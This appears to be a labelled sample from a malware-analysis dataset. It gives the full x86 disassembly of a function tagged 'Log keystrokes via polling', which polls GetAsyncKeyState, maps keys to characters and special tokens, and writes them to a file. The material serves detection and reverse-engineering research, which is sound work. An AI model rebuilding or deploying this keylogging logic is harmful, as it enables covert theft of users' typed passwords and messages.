Function at 0x4020a0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405713
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0xc4], eax
mov esi, ecx
mov dword [ebp - 0xcc], esi
mov dword [ebp - 0xc8], 0
mov edi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
nop
mov edx, eax
mov ecx, esi
call fcn.00401ff0
test al, al
jne 0x402429
mov bl, 8
mov edx, dword [ebp - 0xc4]
mov ecx, esi
call fcn.00401ff0
movsx esi, bl
push esi
call edi
mov ecx, 0xffff8001
cmp ax, cx
je 0x40212a
mov esi, dword [ebp - 0xcc]
inc bl
jmp 0x402103
push 0xb0
lea eax, [ebp - 0xc0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0xc0], 0x40644c
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [ebp - 0xbc]
mov dword [ebp - 4], 0
or dword [ebp - 0xc8], 1
lea ecx, [ebp - 0xc0]
push eax
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea eax, [ebp - 0xbc]
mov ecx, eax
mov dword [ebp - 0xd0], eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xbc]
mov dword [ebp - 0xbc], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [ebp - 0x74], 0
mov byte [ebp - 0x7f], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x4096a0]
mov ecx, dword [0x4096a4]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x84], 0
push ecx
push 0xa
push ecx
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 3
call fcn.00403ba0
test eax, eax
jne 0x40222d
push eax
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 4], 4
call fcn.00401290
push 0x10
call edi
test ax, ax
jne 0x40226a
cmp bl, 0x40
jle 0x40227f
cmp bl, 0x5b
jge 0x40226a
lea edx, [ebx + 0x20]
lea ecx, [ebp - 0xc0]
call fcn.00403f70
lea ecx, [ebp - 0xc0]
call fcn.00402520
jmp case.0x402292.10
mov al, bl
sub al, 0x41
cmp al, 0x19
ja 0x40227f
push 0x10
call edi
test ax, ax
je 0x40227f
mov dl, bl
jmp 0x40224f
add esi, 0xfffffff8
cmp esi, 0x31
ja case.0x402292.10
movzx eax, byte [esi + 0x40248c]
jmp dword [eax*4 + 0x402448]
push 0x10
call edi
test ax, ax
mov edx, str._0_1_23_4_5678_9__n_t
mov eax, 0x406380
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x406384
mov eax, 0x406388
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x40638c
mov eax, 0x406390
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x406394
mov eax, 0x406398
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x40639c
mov eax, 0x4063a0
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x4063a4
mov eax, 0x4063a8
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x4063ac
mov eax, 0x4063b0
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x4063b4
mov eax, 0x4063b8
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x4062d4
mov eax, 0x4063bc
cmove edx, eax
jmp 0x4023af
push 0x10
call edi
test ax, ax
mov edx, 0x4063c0
mov eax, 0x4063c4
cmove edx, eax
jmp 0x4023af
mov edx, 0x4063c8
jmp 0x4023af
mov edx, 0x4063cc
jmp 0x4023af
mov edx, 0x4063d0
jmp 0x4023af
mov edx, 0x4063d4
jmp 0x4023af
mov edx, str._ESC_
jmp 0x4023af
mov edx, str._DEL_
lea ecx, [ebp - 0xc0]
call fcn.00404190
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - 0xc0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0xc4], eax
lea ecx, [ebp - 0xbc]
call fcn.00403620
lea ecx, [ebp - 0xb8]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov esi, dword [ebp - 0xcc]
mov ecx, esi
mov edx, dword [ebp - 0xc4]
call fcn.00401ff0
test al, al
mov eax, dword [ebp - 0xc4]
je 0x4020f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004047d9
mov esp, ebp
pop ebp
ret